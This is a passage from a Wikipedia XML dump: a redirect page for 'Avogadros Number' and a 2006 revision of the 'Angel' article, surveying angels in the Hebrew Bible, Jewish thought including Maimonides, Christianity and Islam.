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  </page>
  <page>
    <title>Avogadros Number</title>
    <id>2155</id>
    <revision>
      <id>15900593</id>
      <timestamp>2002-02-25T23:40:27Z</timestamp>
      <contributor>
        <username>AxelBoldt</username>
        <id>2</id>
      </contributor>
      <minor />
      <comment>redirect chain fix</comment>
      <text xml:space="preserve">#REDIRECT [[Avogadro's number]]
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  </page>
  <page>
    <title>Angel</title>
    <id>2156</id>
    <revision>
      <id>42158681</id>
      <timestamp>2006-03-04T05:12:56Z</timestamp>
      <contributor>
        <username>Guanaco</username>
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      </contributor>
      <minor />
      <comment>clean up and bypass unambiguous redirects using [[Wikipedia:AutoWikiBrowser|AWB]]</comment>
      <text xml:space="preserve">{{Otherusesabout|a religious being}}

[[Image:Annunciation.jpg|right|250px|thumbnail|The Annunciation - the Angel [[Gabriel]] announces to [[Mary, the mother of Jesus|Mary]] that she will bear [[Jesus]] ([[El Greco]], [[1575]])]] 
An '''angel''' is ethereal being found in many [[religion]]s, whose duties are to assist and serve [[God]]. They typically act as messengers, as believed in the main three monotheistic religions.  Some scholars now believe that the introduction to angelology as well as demonology may have been through the [[Iranian]] ([[Persian]]) prophet [[Zoroaster]], via the [[Persian Empire]] who had come in contact with Babylonian [[Jew]]s[http://jewishencyclopedia.com/view.jsp?artid=147&amp;letter=Z&amp;search=zoroaster]. 

==Etymology==
The [[English language|English]] word originated from [[Latin]], ''angelus'', which is itself derived from the [[Greek language|Greek]] ἄγγελος, ''ángelos'', meaning &quot;messenger&quot; (double gamma &quot;γγ&quot; is pronounced &quot;ng&quot; in Greek). The closest [[Hebrew language|Hebrew]] word for angel is מלאך, ''mal'ach'' {{strong|4397}}, also meaning &quot;messenger&quot;. &quot;Angel&quot; is also used in the English Version of the [[Bible]] for the following three Hebrew words:
* אביר, ''abbir'' {{strong|47}}, [[Psalms]] 78:25 (lit. &quot;mighty&quot;)
* אלהים, ''[[Elohim]]'' {{strong|430}}, Psalms 8:5
* the obscure שנאן,  ''shin'an'' {{strong|8136}}, in Psalms 68:17

== Angels in the [[Tanakh]] ==
[[Image:Statue at Metairie Cemetery.jpg|200px|thumb|right|[[Statue]] of an angel at a [[cemetery]] in [[Metairie, Louisiana|Metairie]], [[Louisiana]].]]
The Biblical name for angel, מלאך ('malakh&quot;), obtained the further signification of &quot;angel&quot; only through the addition of God's name, as &quot;angel of the Lord,&quot; or &quot;angel of God&quot; (Zech. xii. 8). Other appellations are &quot;Sons of God&quot;, ([[Book of Genesis|Genesis]] vi. 4; [[Book of Job|Job]], i. 6 [R. V. v. 1]) and &quot;the Holy Ones&quot; (Psalms lxxxix. 6, 8).

According to [[Judaism|Jewish]] interpretation, '''Elohim'' is almost entirely reserved for the one true God; but at times '' '[[Elohim]]'' (powers), ''bnē 'Elohim'', ''bnē Elim'' (sons of gods)(i.e. members of the class of divine beings) were general terms for beings with great power (i.e. judges or alternately, some kind of super powerful human beings). Hence they came to be used collectively of super-human beings, distinct from [[Yahweh]] and, therefore, inferior and ultimately subordinate (e.g. Genesis 6:2; Job 1:6; Psalms 8:5).
''See also:'' [[Names of God in Judaism]]

Angels are referred to as &quot;holy ones&quot; ([[Zechariah]] 14:5) and &quot;watchers&quot; ([[Book of Daniel|Daniel]] 4:13). They are spoken of as the &quot;host of [[heaven]]&quot; ([[Deuteronomy]] 17:3) or of &quot;Yahweh&quot; ([[Book of Joshua|Joshua]] 5:14). The &quot;hosts,&quot; צבאות ''Sebaoth'' in the title ''Yahweh Sebaoth'' (alternatively, ''Adonai Tzivo'ot''), Lord of Hosts, were probably at one time identified with the angels. The identification of the &quot;hosts&quot; with the [[stars]] comes to the same thing; the stars were thought of as being closely connected with angels. However, YHWH is very jealous of the distinction between Himself and angels, and consequently, the Hebrews were forbidden by Moses to worship the &quot;host of heaven&quot;. It is probable that the &quot;hosts&quot; were also identified with the armies of Israel, whether this army is human, or angelic. The New Testament often speaks of &quot;spirits,&quot; πνεύματα ([[Book of Revelation|Revelation]] 1:4).

Prior to the emergence of [[monotheism]] in [[Israel]] the idea of an angel was the ''Mal'akh Yahweh'', Angel of the Lord, or ''Mal'akh Elohim'', Angel of God. The ''Mal'akh Yahweh'' is an appearance or manifestation of Yahweh in the form of a man, and the term ''Mal'akh Yahweh'' is used interchangeably with Yahweh ([[cf.]] [[Exodus]] 3:2, with 3:4; 13:21 with 14:19). Those who see the ''Mal'akh Yahweh'' say they have seen God (Genesis 32:30; [[Book of Judges|Judges]] 13:22). The ''Mal'akh Yahweh'' (or ''Elohim'') appears to [[Abraham]], [[Hagar]], [[Moses]], [[Gideon (Judges)|Gideon]], &amp;c., and leads the Israelites in the ''Pillar of Cloud'' (Exodus 3:2). The phrase ''Mal'akh Yahweh'' may have been originally a courtly circumlocution for the Divine King; but it readily became a means of avoiding [[anthropomorphism]], and later on, when angels were classified, the ''Mal'akh Yahweh'' meant an angel of distinguished rank. The identification of the ''Mal'akh Yahweh'' with the ''[[Logos]]'', or [[Christology|Second Person]] of the [[Trinity]], is not indicated by the references in the Hebrew scriptures; but the idea of a Being partly identified with God, and yet in some sense distinct from him, illustrates a tendency of Jewish religious thought to distinguish persons within the unity of the deity. Christians think that this foreshadows the doctrine of the Trinity, whereas Kabbalist Jews would show how it developed into [[Kabbalah|kabbalistic]] theological thought and imagery.

In earlier literature the ''Mal'akh Yahweh'' or ''Elohim'' is almost the only angel mentioned. However, there are a few passages which speak of subordinate superhuman beings other than the ''Mal'akh Yahweh'' or ''Elohim''. There are the ''[[Cherub|cherubim]]'' who guard [[Garden of Eden]]. In Genesis 18, 19. (J) the appearance of Yahweh to Abraham and [[Lot (biblical)|Lot]] is connected with three, afterwards two, men or messengers; but possibly in the original form of the story Yahweh appeared alone (Cf. 18:1 with 18:2, and note change of number in 19:17). At [[Bethel (Israel)|Bethel]], [[Jacob]] sees the angels of God on the [[Jacob's Ladder (Bible)|ladder]] (Genesis 28:12), and later on they appear to him at [[Mahanaim]] (Genesis 32:1). In all these cases the angels, like the ''Mal'akh Yahweh'', are connected with or represent a [[theophany]]. Similarly the &quot;man&quot; who wrestles with Jacob at [[Peniel]] is identified with God (Genesis 32:24, 30). In [[Isaiah]] 6 the [[Seraph|seraphim]], superhuman beings with six wings, appear as the attendants of Yahweh. Thus, the pre-exilic literature rarely mentions angels, or other superhuman beings other than Yahweh and manifestations of Yahweh; the pre-exilic [[prophet]]s hardly mention angels. An angel of [[Books of Kings|I Kings]] 13:18 might be the ''Mal'akh Yahweh'', as in 19:5, cf. 7, or the passage, at any rate in its present form, may be exilic or post-exilic. Nevertheless we may well suppose that [[polytheist]]s in [[ancient Israel]] believed in superhuman beings other than Yahweh, but that the [[Biblical inspiration|inspired]] writers have mostly suppressed references to them as unedifying.

Once the doctrine of monotheism was formally expressed, in the period immediately before and during the Exile (Deuteronomy 6:4-5 and Isaiah 43:10), we find angels prominent in the [[Book of Ezekiel]]. [[Ezekiel]], as a prophet of the Exile, may have been influenced by the hierarchy of supernatural beings in the [[Babylonian and Assyrian religion|Babylonian religion]], and perhaps even by the [[angelology]] of [[Zoroastrianism]] (it is not, however, certain that these doctrines of Zoroastrianism were developed at so early a date). Ezekiel 9 gives elaborate descriptions of cherubim (a class, or type of angels); and in one of his visions, he sees seven angels execute the judgment of God upon Jerusalem. As in Genesis, they are styled &quot;men&quot;; ''mal'akh'', for &quot;angel&quot;, does not occur in Ezekiel. Somewhat later, in the visions of [[Zechariah]], angels play a great part; they are sometimes spoken of as &quot;men&quot;, sometimes as ''mal'akh'', and the ''Mal'akh Yahweh'' seems to hold a certain primacy among them (Zecharias 1:11). The [[Satan]] also appears to prosecute (so to speak) the High Priest before the divine tribunal (Zecharias 3:1). Similarly in the [[Book of Job|Job]] the ''bne Elohim'', sons of God, appear as attendants of God, and amongst them, Satan (Hebrew ''ha satan''), again in the role of public prosecutor, the defendant being Job (Job 1, 2. Cf. [[Books of Chronicles|I Chronicles]] 21:1). Occasional references to &quot;angels&quot; occur in the Psalter (Pss. 91:11, 103:20 &amp;c.); they appear as ministers of God.

In Psalms 78:49 the &quot;evil angels&quot; of the [[Authorized Version]] conveys a false impression; it should be &quot;angels of evil&quot;, ''i.e.'' angels who inflict chastisement as ministers of God.

The seven angels of Ezekiel may be compared with the seven eyes of Yahweh in Zecharias 3:9, 4:10. The latter have been connected by Ewald and others with the later doctrine of seven chief angels (Tobit 12:15; Revelations 8:2), parallel to and influenced by the Ameshaspentas ([[Amesha Spenta]]), or seven great spirits of the [[Persian mythology]].

In the Priestly Code, c. [[400 BC]], there is no reference to angels, apart from the possible suggestion in the plural in Genesis 1:26.

During the [[Persian Empire|Persia]]n and Greek periods, the doctrine of angels underwent a great development, partly, at any rate, under foreign influences. In Daniel, c. [[160 BC]], 71 angels, usually spoken of as &quot;men&quot; or &quot;'''Angel-princes'''&quot;, appear as guardians or champions of the individual nations, defending them as God sits in council with them over the world; grades are implied, there are &quot;princes&quot; and &quot;chief&quot; or &quot;great princes&quot;; and the names of some angels are known, [[Gabriel (archangel)|Gabriel]], [[Michael (archangel)|Michael]]; the latter is pre-eminent (Dan. 8:16; 10:13, 20-21), he is the guardian of Israel's leading [[Kingdom of Judah]]. Again in [[Tobit]] a leading part is played by [[Raphael (archangel)|Raphael]], &quot;one of the seven holy angels&quot;. (Tob. 12:15.)

In Tobit, too, we find the idea of the [[demon]] or evil angel. In the canonical Hebrew/[[Aramaic]] scriptures, angels may inflict suffering as ministers of God, and Satan may act as accuser or tempter; but they appear as subordinates to God, fulfilling His will, and not as independent, morally evil agents. The statement (Job 4:18) that God &quot;charged his angels with folly&quot; applies to all angels. In Daniel, the princes, or guardian angels, of the heathen nations oppose Michael, the guardian angel of Judah. But in Tobit, we find [[Asmodeus]] the evil demon, τὸ πονηρὸν δαιμόνιον, who strangles Sarah's husbands, and also a general reference to &quot;a [[devil]] or evil spirit&quot;, πνεῦμα (Tobit 3:8, 17; 6:7).  

The Fall of the Angels is not properly a scriptural doctrine, though it is based on Gen. 6:2, as interpreted by the [[Book of Enoch]]. It is true that the ''bnē Elohim'' of that chapter are subordinate superhuman beings (cf. above), but they belong to a different order of thought from the angels of Judaism and of Christian doctrine; and the passage in no way suggests that the ''bne Elohim'' suffered any loss of status through their act.

The guardian angels of the nations in Daniel probably represent the gods of the heathen, and we have there the first step of the process by which these gods became evil angels, an idea expanded by [[John Milton|Milton]] in ''[[Paradise Lost]]''. The development of the doctrine of an organized hierarchy of angels belongs to the Jewish literature of the period [[200 BC]] to A.D. [[100]]. In Jewish apocalypses especially, the imagination ran riot on the rank, classes and names of angels; and such works as the various books of [[Enoch]] and  the [[Ascension of Isaiah]] supply much information on this subject.

=== Appearance of angels ===
In the [[Hebrew Bible]], angels often appear to people in the shape of humans of extraordinary beauty, and often are not immediately recognized as angels (Gen. xviii. 2, xix. 5; Judges, vi. 17, xiii. 6; II Sam. xxix. 9);  some fly through the air; some become invisible; sacrifices touched by them are consumed by fire; and they may disappear in sacrificial fire, like [[Elijah (prophet)|Elijah]], who rode to heaven in a fiery chariot. Angels, or the Angel, appeared in the flames of the [[Burning bush|thorn bush]] (Gen. xvi. 13; Judges, vi. 21, 22; II Kings, ii. 11; Ex. iii. 2). They are described as pure and bright as Heaven; consequently, they are said to be formed of fire, and encompassed by light (Job, xv. 15), as the Psalmist said (Ps. civ. 4, R. V.): &quot;Who makes winds his messengers; his ministers a flaming fire.&quot; Some verses in the
[[Apocrypha]] depict angels wearing blue or red robes but no such reference occurs in the
Protestant books.

Though superhuman, angels can assume human form; this is the earliest conception. Gradually, and especially in post-Biblical times, angels came to be bodied forth in a form corresponding to the nature of the mission to be fulfilled—generally, however, the human form. Angels bear drawn [[sword]]s or other destroying weapons in their hands—one carries an ink-horn by his side—and ride on horses (Num. xxii. 23, Josh. v. 13, Ezek. ix. 2, Zech. i. 8 et seq.). It is worth noting that these angels carry items that are contempory to the time in which they visit (perhaps angels are bound by the technology which humans have achieved). A terrible angel is the one mentioned in I Chron. xxi. 16, 30, as standing &quot;between the earth and the heaven, having a drawn sword in his hand&quot;. In the [[Book of Daniel]], reference is made to an angel &quot;clothed in linen, whose loins were girded with fine gold of Uphaz: his body also was like the [[beryl]], and his face as the appearance of [[lightning]], and his eyes as lamps of fire, and his arms and his feet like in color to polished [[brass]], and the voice of his words like the voice of a multitude&quot; (Dan. x. 5, 6). This imagery is very similar to the description of Jesus in the book of Revelation.  Angels are thought to possess wings (Dan. ix. 21), as they are described in the Bible, and depicted in Christian, Jewish and Zoroastrian art.  They are commonly depicted with [[halo (religious symbol)|halo]]s.

In [[Christian iconography]], the use of wings is an iconographic convention that is intended to denote the figure as a [[spirit]]. Depictions of angels in Christian art as winged human forms, unlike classical pagan depictions of the major deities, follow the iconic conventions of lesser winged gods, such as [[Eos]], [[Eros (mythology)|Eros]], [[Thanatos]] and [[Nike (mythology)|Nike]].   

Angels are portrayed as powerful and dreadful, endowed with wisdom and with knowledge of all earthly events, correct in their judgment, holy, but not infallible: they strive against each other, and God has to make peace between them. When their duties are not punitive, angels are beneficent to man (Ps. ciii. 20, lxxviii. 25; II Sam. xiv. 17, 20, xix. 28; Zech. xiv. 5; Job, iv. 18, xxv. 2).

The number of angels is enormous. [[Jacob]] meets a host of angels; [[Joshua]] sees the &quot;captain of the host of the Lord&quot;; God sits on His throne, &quot;all the host of heaven standing by Him on His right hand and on his left&quot;; the sons of God come &quot;to present themselves before the Lord&quot; (Gen. xxxii. 2; Josh. v. 14, 15; I Kings, xxii. 19; Job, i. 6, ii. 1; Ps. lxxxix. 6; Job, xxxiii. 23). The general conception is the one of [[Book of Job|Job]] (xxv. 3): &quot;Is there any number of his armies?&quot; In the book of Revelation, the number is &quot;a thousand thousands, and many tens of thousands&quot;.

Though the older writings usually mention one angel of the Lord, embassies to men as a rule comprised several messengers. The inference, however, is not to be drawn that God Himself or one particular angel was designated: the expression was given simply to God's power to accomplish through but one angel any deed, however wonderful.

Angels are referred to in connection with their special missions as, for instance, the &quot;angel which hath redeemed,&quot; &quot;an interpreter,&quot; &quot;the angel that destroyed,&quot; &quot;messenger of the covenant,&quot; &quot;angel of his presence,&quot; and &quot;a band of angels of evil&quot; (Gen. xlviii. 16; Job, xxxiii. 23; II Sam. xxiv. 16; Mal. iii. 1; Isa. lxiii. 9; Ps. lxxviii. 49, R. V.). When, however, the heavenly host is regarded in its most comprehensive aspect, a distinction may be made between [[cherub]]im, [[seraph]]im, ḥayyot (&quot;living creatures&quot;), ofanim (&quot;wheels&quot;), and arelim (another name for Thrones). God is described as riding on the cherubim and as &quot;the Lord of hosts, who dwelleth between the cherubim&quot;; while the latter guard the way of the [[Tree of Life]] (I Sam. iv. 4, Ps. lxxx. 2, Gen. iii. 24). The seraphim are described by [[Isaiah]] (vi. 2) as having six wings; and [[Ezekiel]] describes the ḥayyot (Ezek. i. 5 et seq.) and ''ofanim'' as heavenly beings who carry God's throne.

In post-Biblical times, the heavenly hosts became more highly organized (possibly as early as Zechariah [iii. 9, iv. 10]; certainly in Daniel), and there came to be various kinds of angels; some even being provided with names, as will be shown below.

=== Purpose ===
In the Bible, angels are a medium of God's power; they exist to execute God's will. Angels reveal themselves to individuals as well as to the whole nation, in order to announce events, either good or bad, affecting humans. Angels foretold to [[Abraham]] the birth of [[Isaac]], to [[Manoah]] the birth of [[Samson]], and to Abraham the destruction of [[Sodom]]. Guardian angels were mentioned, but not, as was later the case, as guardian spirits of individuals and nations. God sent an angel to protect the [[Hebrews|Hebrew people]] after their [[exodus]] from [[Egypt]], to lead them to the [[promised land]], and to destroy the hostile tribes in their way (Ex. 23.20, Num. 20.16).

In Judges (ii. 1) an angel of the Lord—unless here and in the preceding instances (compare Isa. xlii. 19, Ḥag. i. 13, Mal. iii. 1), a human messenger of God is meant—addressed the whole people, swearing to bring them to the promised land. An angel brought [[Elijah (prophet)|Elijah]] meat and drink (I Kings, xix. 5); and as God watched over [[Jacob]], so is every [[piety|pious]] person protected by an angel, who cares for him in all his ways (Ps. xxxiv. 7, xci. 11). There are angels militant, one of whom smites in one night the whole [[Assyria]]n army of 185,000 men (II Kings, xix. 35); messengers go forth from God &quot;in ships to make the careless [[Ethiopia]]ns afraid&quot; (Ezek. xxx. 9); the enemy is scattered before the angel like chaff (Ps. xxxv. 5, 6).

Avenging angels are mentioned, such as the one in II Sam. xxiv. 15, who annihilates thousands. It would seem that the pestilence was personified, and that the &quot;evil angels&quot; mentioned in Ps. lxxviii. 49 are to be regarded as personifications of this kind. &quot;Evil&quot; is here to be taken in the causative sense, as &quot;producing evil&quot;; for, as stated above, angels are generally considered to be by nature beneficent to man. They glorify God, whence the term &quot;glorifying angels&quot; comes (Ps. xxix. 1, ciii. 20, cxlviii. 2; compare Isa. vi. 2 et seq.).

They constitute God's court, sitting in council with Him (I Kings, xxii. 19; Job, i. 6, ii. 1); hence they are called His &quot;council of the holy ones&quot; (Ps. lxxxix. 7, R. V.; A. V. &quot;assembly of the saints&quot;). They accompany God as His attendants, when He appears to man (Deut. xxxiii. 2; Job, xxxviii. 7). This conception was developed after the Exile; and in the [[Book of Zechariah|Zechariah]], angels of various shapes are delegated &quot;to walk to and fro through the earth&quot; in order to find out and report what happens (Zech. vi. 7).

In the prophetic books, angels appear as representatives of the prophetic spirit, and bring to the prophets God's word. Thus the prophet [[Haggai]] was called God's messenger (angel); and it is known that &quot;Malachi&quot; is not a real name, but means &quot;messenger&quot; or &quot;angel&quot;. In I Kings, xiii. 18, an angel brought the divine word to the prophet.

In some places, it is implied that angels existed before the Creation (Gen. i. 26; Job, xxxviii. 7). The earlier Biblical writings did not speculate about them; simply regarding them, in their relations to man, as God's agents. Consequently, they did not individualize or denominate them; and in Judges, xiii. 18, and Gen. xxxii. 30, the angels, when questioned, refuse to give their names. In Daniel, however, there occur the names Michael and Gabriel. Michael is [[Israel]]'s representative in Heaven, where other nations—the [[Iran|Persia]]ns, for instance—were also represented by angelic princes. More than three hundred years before the Book of Daniel was written, Zechariah graded the angels according to their rank, but did not name them. The notion of the seven eyes (Zech. iii. 9, iv. 10) may have been affected by the representation of the seven archangels and also possibly by the  seven ''amesha spentas'' of Zoroastrianism (compare Ezek. ix. 2).

== Jewish views ==
Angels appear in several [[Tanakh|Old Testament]] (Hebrew Bible) stories, in addition to the ones previously mentioned above.  These include the warning to [[Lot (biblical)|Lot]] of the imminent destruction of [[Sodom]]. Many Bible chapters mention an &quot;angry God&quot; who sends His angel to smite the enemies of the Israelites. Traditional Jewish biblical commentators have a variety of ways of explaining what an angel is.  The earliest Biblical books present angels as heavenly beings created by God, some of whom apparently are endowed with free will. Later biblical books in the Tanakh present a stunningly different view of angels, as the Jewish beliefs about such things developed over the many years covered in the Bible.  Such a differing perspective on angels is discovered in the [[Book of Ezekiel]], where these angels bear no relation whatsoever to the former understanding of what an angel was.

The [[archangel (beings)|archangel]]s named in post-exile Judaism are [[Gabriel]], [[Michael]], [[Raphael (archangel)|Raphael]], [[Uriel (archangel)|Uriel]], [[Raguel (archangel)|Raguel]], [[Sariel (archangel)|Sariel]], and [[Jerahmeel (archangel)|Jerahmeel]]. Gabriel and Michael are mentioned in the book of [[Daniel]], Raphael in the [[book of Tobit]] (from the [[Protestantism|Protestant]] [[Apocrypha]] or [[Catholicism|Catholic]] and [[Eastern Orthodoxy|Orthodox]] [[Deuterocanonical books|Deuterocanon]]) and the remaining four in the [[book of Enoch]] from the [[Old Testament]] [[Pseudepigrapha]] (considered canonical by the [[Ethiopian Church|Ethiopian Orthodox]]).

===Maimonides and rationalism===
In the [[Middle Ages]], some Jews developed a [[rationalism|rationalist]] view of angels that is still accepted by many Jews today. The rationalist view of angels, as held by [[Maimonides]], [[Gersonides]], [[Samuel Ibn Tibbon]], etc., states that God's actions are never mediated by a violation of the laws of nature. Rather, all such interactions are by way of angels. Even this can be highly misleading: Maimonides harshly states that the average person's understanding of the term &quot;angel&quot; is ignorant in the extreme. Instead, he says, the wise man sees that what the [[Bible]] and [[Talmud]] refer to as &quot;angels&quot; are actually metaphors for the various laws of nature, or the principles by which the physical universe operates, or kinds of platonic eternal forms. This is explained in his ''Guide of the Perplexed'' II:4 and II:6.
&lt;small&gt;

:II:4

:: ''&quot;...This leads [[Aristotle]] in turn to the demonstrated fact that God, glory and majesty to Him, does not do things by direct contact. God burns things by means of fire; fire is moved by the motion of the sphere; the sphere is moved by means of a disembodied intellect, these intellects being the 'angels which are near to Him', through whose mediation the spheres [planets] move....thus totally disembodied minds exist which emanate from God and are the intermediaries between God and all the bodies [objects] here in this world.&quot;''

:II:6

:: ''&quot;...Aristotle's doctrine that these disembodied spheres serve as the nexus between God and existence, by whose mediation the sphere are brought into motion, which is the cause of all becoming, is the express import of all the Scriptures. For you will never in Scripture any activity done by God except through an angel. And &quot;angel&quot;, as you know, means messenger. Thus anything which executes a command is an angel. So the motions of living beings, even those that are inarticulate, are said explicitly by [[Scripture]] to be due to angels.''

::''...Our argument here is concerned solely with those &quot;angels&quot; which are disembodied intellects. For our Bible is not unaware that God governs this existence through the mediation of angels...(Maimonides then quotes discussions of angels from [[Genesis]], [[Plato]], and [[Midrash]] Bereshit Rabbah)...the import in all these texts is not—as a primitive mentality would suppose—to suggest any discussion or planning or seeking of advice on God's part. How could the Creator receive aid from the object of his creation? The real import of all is to proclaim that existence—including particular individuals and even the formation of the parts of animals such as they are—is brought about entirely through the mediation of angels.''

::''For all forces are angels! How blind, how perniciously blind are the naïve?! If you told someone who purports to be a sage of Israel that the Deity sends an angel who enters a woman's womb and there forms an embryo, he would think this a miracle and accept it as a mark of the majesty and power of the Deity—despite the fact that he believes an angel to be a body of fire one third the size of the entire world. All this, he thinks, is possible for God. But if you tell him that God placed in the sperm the power of forming and demarcating these organs, and that this is the angel, or that all forms are produced by the Active Intellect—that here is the angel, the &quot;vice-regent of the world&quot; constantly mentioned by the sages—then he will recoil. For he [the naïve person] does not understand that the true majesty and power are in the bringing into being of forces which are active in a thing although they cannot be perceived by the senses.''

::''The sages of blessed memory state clearly—to those who are wise themselves—that every bodily power (not to mention forces at large in the world) is an angel and that a given power has one effect and no more. It says in Midrash Bereshit Rabbah &quot;We are given to understand that no angel performs two missions, nor do two angels perform one mission.&quot;—which is just the case with all forces. To confirm the conclusion that individual physical and psychological forces are called &quot;angels&quot;, there is the dictum of the sages, in a number of places, ultimately derived from Bereshit Rabbah, &quot;Each day the Holy One creates a band of angels who sing their song before him and go their way.&quot; Midrash Bereshit Rabbah, LXXVIII. When this midrash was countered with another which suggests that angels are permanent...the answer given was that some are permanent and other perish. And this is in fact the case. Particular forces come to be and pass away in constant succession; the species of such forces, however, are stable and enduring....[Giving a few more examples of the mention of angels in rabbinic writings, Maimonides says] Thus the Sages reveal to the aware that the imaginative faculty is also called an angel; and the mind is called a cherub. How beautiful this will appear to the sophisticated mind—and how disturbing to the primitive.&quot;''

&lt;/small&gt;

One can perhaps say that Maimonides thus presents a virtual rejection of the &quot;classical&quot; Jewish view of [[miracle]]s; he and others substitute a rationalism that seems more appropriate for 20th and 21st century religious rationalists.

Others might perhaps view Maimonides's statements as being perfectly in keeping with the continued evolvement of [[Jewish philosophy|Jewish thought]] over a period of several [[Millennium|millennia]].

== Christian views ==
[[Image:Jacob-angel.jpg|right|thumbnail|250px|[[Jacob Wrestling with the Angel]] - [[Gustave Doré]], [[1855|(1855)]]]]

In the [[New Testament]] angels appear frequently as the ministers of God and the agents of revelation (''E.g.'' [[Matthew]] 1:20 (to Joseph), 4:11. (to Jesus), [[Luke]] 1:26 (to Mary), [[Acts]] 12:7 (to Peter)); and Jesus speaks of angels as fulfilling such functions (''E.g.'' [[Gospel of Mark|Mark]] 8:38, 13:27), implying in one saying that they neither marry nor are given in marriage (Mark 12:25). Naturally angels are most prominent in the Apocalypse. The New Testament takes little interest in the idea of the angelic hierarchy, but there are traces of the doctrine. The distinction of good and bad angels is recognized; [[Gabriel]] (Luke 1:19), [[Metatron]] (Rev. 10:1), and [[Michael]] (Daniel 12:1), and the evil angels [[Beelzebub]], (Mark 3:22) [[Satan]] (Mark 1:13), and[[Apollyon]] (Rev. 9:11); ranks are implied, archangels (Michael, Jude 9), principalities and powers (Rom. 8:38; Col. 2:10), thrones and dominions (Col 1:16). Angels occur in groups of four or seven (Rev 7:1). In Rev. 1-3. we meet with the Angels of the Seven Churches of Asia Minor. These are probably guardian angels, standing to the churches in the same relation that the angel-princes in Daniel stand to the nations; practically the angels are personifications of the churches.

The archangel Gabriel appeared to [[The Virgin Mary|Mary]] in the traditional role of messenger to inform her that her child would be the [[Messiah]], and other angels were present to herald his birth. In Matt. 28:2, an angel appeared at [[Jesus]]' tomb, frightened the Roman guards, rolled away the stone from the tomb, and later told the [[myrrh]]-bearing women of Jesus' [[resurrection]]. Alternately, in Mark 16:5 the angel is not seen until the women enter the already-opened tomb, and he is described simply as &quot;a young man.&quot; In Luke's version of the resurrection tale (Luke 24:4), two angels suddenly apparate next to the women within the tomb; they are described as being clothed in &quot;shining apparel.&quot; This is most similar to the version in John 20:12, where Mary alone speaks to &quot;two angels in white&quot; within the tomb of Jesus.

Two angels witnessed Jesus' ascent into [[Heaven]] and prophesied his return. When [[Saint Peter|Peter]] was imprisoned, an angel put his guards to sleep, released him from his chains, and led him out of the prison. Angels fill a number of different roles in the Book of Revelation. Among other things, they are seen gathered around the Throne of the Triple-God singing the thrice-holy [[hymn]].

Angels are frequently depicted as human in appearance, though many [[theology|theologian]]s have argued that they have no physical existence, but can incarnate.[[Seraphim]] are often depicted as six wings radiating from a center concealing a body, as depicted in the Bible. Starting with the end of the [[4th century]], angels were depicted with wings, presumably to give an easy explanation for them travelling to and from heaven. This is also heavily implied by the Scriptures. Scholastic theologians teach that angels are able to reason instantly, and to move instantly. They also teach that angels are intermediaries to some forces that would otherwise be natural forces of the universe, such as the rotation of planets and the motion of stars. Angels possess the beatific vision, or the unencumbered understanding of God (the essence of the pleasure of heaven). Furthermore, there are more angels than there are anything else in the universe (although when first written this would have probably not included atoms since atomic structure was not known). 

Religious thought about the angels during the middle ages was much influenced by the theory of the angelic hierarchy set forth in ''[[The Celestial Hierarchy]]'', a work of [[Pseudo-Dionysius the Areopagite]], an unknown [[5th century]] [[author]] or authors writing in the style of [[Dionysius the Areopagite]]. The creeds and confessions do not formulate any authoritative doctrine of angels; and agnostics have tended to deny the existence of such beings, or to regard the subject as one on which we can have no certain knowledge. The principle of continuity, however, seems to require the existence of beings intermediate between man and God.

Some [[Christianity|Christian]] traditions hold that angels are organized into three major [[Hierarchy of angels|hierarchies]] which are subdivided into orders called Choirs, and list as many as ten orders of angels. ''The Celestial Hierarchy'' is the source of the names that have become part of tradition:  ''Angels'', ''Archangels'', ''Principalities'', ''Powers'', ''Virtues'', ''Dominions'', ''Thrones'', ''Cherubim'', and ''Seraphim''. In this hierarchy, the Cherubim and Seraphim are typically closest to God, while the Angels and Archangels are most active in human affairs. Many of these names come from verses in the Bible which would appear at first to be referencing a literal thing, although retroactively suggesting that they really mention angels can also make sense in the context. For example the verse in Paul &quot;our struggle is not with earthly things but with principalities and powers&quot; (meaning according to most theologians the [[fallen angel]]s of those choirs, used as an example of all the fallen angels).

Some Christian traditions also hold that angels play a variety of specific roles in the lives of believers. For instance, each Christian may be assigned a guardian angel at their baptism (although never defined by the Anglican, Catholic, or Orthodox churches, nevertheless it is personally held by many church members and most theologians). Each consecrated altar has at least one angel always present offering up prayers, and a number of angels join the congregation when they meet to pray. In the story of the 40 martyrs of Sebaste, in which 40 Christian Roman soldiers were made to stand [[nudity|naked]] on a frozen lake in the snow until they renounced their faith, angels were seen descending from Heaven placing the crowns of martyrs on their heads.

Certain Christian traditions, especially the [[Reformed]] tradition within [[Protestantism]] and the Anglican Church hold that references to the &quot;Angel of the Lord&quot; are references to pre-[[Incarnation]] appearances of Jesus. 

Some medieval Christian philosophers were influenced by the views of Maimonides, and accepted his view of angels. Today, these views of angels are still technically acceptable within many mainstream Christian denominations.

Satan, Beelzebul, and the rest of the demons are thought by Christians to be angels who rebelled against God and were expelled from Heaven. Christianity also considers other religions' gods as rebellious celestial spirits who oppose the Triple-God, the Trinity.

In many informal [[folklore|folk beliefs]] among Christians concerning the [[afterlife]], the souls of the virtuous dead ascend into Heaven to be converted into angel-like beings.  The [[Bible]] does state that at the resurrection, people will be like the angels with regard to marriage and immortality (Luke 20:35-36), and teaches such a transformation for instance at 1Cor 15:51; it states that the saints will judge angels (1 Cor 6:3). Flavius Josephus (Discourse to the Greeks concerning Hades, VI) teaches of ressurected men and woman, i.e. male and female. (Zechariah 5,9) could be interpreted, that there are also female angels. The statement of 1Cor 11:10 could be interpreted, as if male angels could be vulnerable to the female attractiveness by raping woman-- which would produce a giant (Gen. 6) or bring about the end of the world by conceiving the Antichrist. Official doctrines of most Christian churches teach that the virtuous are resurrected in the [[End times|end of times]], having a physical body again, unlike angels (see [[Swedenborgianism]] for a church that does officially and systematically teach that people enter heaven immediately after death).

==Islamic views==
:''Main article: [[Angels in Islam]]''
The belief in angels is central to the religion of [[Islam]], beginning with the belief that the [[Qur'an]] was dictated to the Prophet [[Muhammad]] by the chief of all angels, the archangel [[Jibril]] (Gabriel).  Angels are thus the ministers of God, as well as the agents of revelation in Islam.

In Islam, angels are benevolent beings created from light and do not possess free will. They are completely devoted to the worship of God ([[Allah]]) and carry out certain functions on His command, such as recording every human being's actions, placing a soul in a newborn child, maintaining certain environmental conditions of the planet (such as nurturing vegetation and distributing the rain) and taking the soul at the time of death. Angels are described as being excessively beautiful and have different numbers of wings (for example, Gabriel is attributed as having six-hundred wings in his natural form). They can take on human form, but only in appearance. As such, angels do not eat, procreate or commit sin as humans do.

